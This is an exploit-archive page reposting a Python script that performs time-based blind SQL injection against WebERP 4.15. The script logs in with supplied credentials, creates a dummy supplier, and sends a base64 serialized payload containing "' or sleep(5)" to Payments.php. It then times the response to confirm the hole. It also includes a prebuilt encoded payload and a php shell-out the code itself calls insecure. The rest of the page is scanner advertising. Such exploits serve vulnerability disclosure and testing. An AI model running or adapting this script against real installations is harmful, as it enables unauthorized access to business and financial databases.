weberp 4.15 sql injection

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




weberp 4.15 sql injection Code Code...
				
# Exploit Title: Blind SQL injection in WebERP. # Date: June 10, 2019 # Exploit Author: Semen Alexandrovich Lyhin (https://www.linkedin.com/in/semenlyhin/) # Vendor Homepage: http://www.weberp.org/ # Version: 4.15 # A malicious query can be sent in base64 encoding to unserialize() function. It can be deserialized as an array without any sanitization then. # After it, each element of the array is passed directly to the SQL query. import requests import base64 import os import subprocess from bs4 import BeautifulSoup import re import time import sys def generatePayload(PaidAmount="0",PaymentId="0"): #THIS FUNCTION IS INSECURE BY DESIGN ToSerialize = r"[\"%s\" => \"%s\"]" % (PaymentId, PaidAmount) return os.popen("php -r \"echo base64_encode(serialize(" + ToSerialize + "));\"").read() def getCookies(ip, CompanyNameField, usr, pwd): r = requests.get("http://" + ip + "/index.php") s = BeautifulSoup(r.text, 'lxml') m = re.search("FormID.*>", r.text) FormID = m.group(0).split("\"")[2] data = {"FormID":FormID,"CompanyNameField":CompanyNameField,"UserNameEntryField":usr,"Password":pwd,"SubmitUser":"Login"} r = requests.post("http://" + ip + "/index.php", data) return {"PHPSESSIDwebERPteam":r.headers["Set-Cookie"][20:46]} def addSupplierID(name, cookies, proxies): r = requests.get("http://" + ip + "/Suppliers.php", cookies=cookies) s = BeautifulSoup(r.text, 'lxml') m = re.search("FormID.*>", r.text) FormID = m.group(0).split("\"")[2] data = {"FormID":FormID,"New":"Yes","SupplierID":name,"SuppName":name,"SupplierType":"1","SupplierSince":"01/06/2019","BankPartics":"","BankRef":"0", "PaymentTerms":"20","FactorID":"0","TaxRef":"","CurrCode":"USD","Remittance":"0","TaxGroup":"1","submit":"Insert+New+Supplier"} requests.post("http://" + ip + "/Suppliers.php", data=data,cookies=cookies,proxies=proxies) def runExploit(cookies, supplier_id, payload, proxies): r = requests.get("http://" + ip + "/Payments.php", cookies=cookies) s = BeautifulSoup(r.text, 'lxml') m = re.search("FormID.*>", r.text) FormID = m.group(0).split("\"")[2] data = {"FormID":FormID, "CommitBatch":"2", "BankAccount":"1", "DatePaid":"01/06/2019", "PaidArray":payload} requests.post("http://" + ip + "/Payments.php?identifier=1559385755&SupplierID=" + supplier_id, data=data,cookies=cookies,proxies=proxies) if __name__ == "__main__": #proxies = {'http':'127.0.0.1:8080'} proxies = {} if len(sys.argv) != 6: print '(+) usage: %s <target> <path> <login> <password> <order>' % sys.argv[0] print '(+) eg: %s 127.0.0.1 "weberp/webERP/" admin weberp 1' % sys.argv[0] print 'Order means the number of company on the website. Can be gathered from the login page and usually equals 0 or 1' exit() ip = sys.argv[1] + "/" + sys.argv[2] #if don't have php, set Payload to the next one to check this time-based SQLi: YToxOntpOjA7czoyMzoiMCB3aGVyZSBzbGVlcCgxKT0xOy0tIC0iO30= #payload = generatePayload("0 where sleep(1)=1;-- -", "0") payload = generatePayload("0", "' or sleep(5) and '1'='1") #get cookies cookies = getCookies(ip, sys.argv[5], sys.argv[3], sys.argv[4]) addSupplierID("GARUMPAGE", cookies, proxies) t1 = time.time() runExploit(cookies, "GARUMPAGE", payload, proxies) t2 = time.time() if (t2-t1>4): print "Blind sqli is confirmed" else: print "Verify input data and try again"

Weberp 4.15 sql injection Vulnerability / Exploit Source : Weberp 4.15 sql injection



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.